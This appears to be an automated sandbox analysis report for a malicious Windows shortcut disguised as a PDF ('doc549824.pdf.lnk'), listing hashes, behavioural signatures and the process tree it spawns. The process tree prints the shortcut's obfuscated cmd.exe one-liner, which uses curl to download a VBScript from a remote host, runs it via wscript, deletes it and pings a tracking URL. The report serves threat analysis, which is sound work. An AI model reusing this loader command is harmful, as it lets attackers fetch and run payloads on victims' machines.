Analysis
- max time kernel
298s - max time network
234s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 16:22
Static task
static1
Behavioral task
behavioral1
Sample
doc549824.pdf.lnk
Resource
win10v2004-20260513-en
5 signatures
300 seconds
Behavioral task
behavioral2
Sample
doc549824.pdf.lnk
Resource
win11ltsc2024-20260710-en
4 signatures
300 seconds
General
- Target doc549824.pdf.lnk
- Size 1KB
- Sample260808-tvalbshr9v
- SHA256 f06890d7f666d13fd4416bc8f6a275c557a97dc4ddbb5ada79774c5dfcb6ee2c
- MD5 04b9326ddeaed0c7723226d41ef3789e
- SHA1 e3dd6a4f2f33fdb85a4410da9b91d975522db0ee
- SHA512 e834d177c6f011756960ba18acd3c6cabaadd09f4c53943e126ad60c96490593bd3262adb04bc491ad34547433f84708552adee10f285e3bf3bdd5755d4f8ed5
- TLSH T1E82168981ED40634F7B9CD3AC4BD8751582A7A5AFC298A0D44D44E8E1012A13EBB7F2E
- MD5 SHA1 SHA512 TLSH
Score
5/10
Malware Config
Signatures
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 4916 wscript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1580 cmd.exe 3756 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1580 wrote to memory of 3756 1580 cmd.exe 90 PID 3756 wrote to memory of 4916 3756 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\doc549824.pdf.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set h1=https://88.212.109.208.hos&set j5=t.secureserver.net/?vbs=1&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&set g9=cur&set g9=C:\Users\Admin\AppData\Local\Temp\9c459&set b6=vb&set v5=ws&!g9!l -sLo "!g9!.!b6!s" "!h1!!j5!" 2>nul&!v5!cript //B "!g9!.!b6!s"&del /f /q "!g9!.!b6!s" 2>nul&set z6=https://88.212.109.208.hos&set m4=t.secureserver.net/?trk=1&y=exec&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&!g9!l -sL "!z6!!m4!" >nul 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\System32\wscript.exewscript //B "C:\Users\Admin\AppData\Local\Temp\9c459.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
PID:4916
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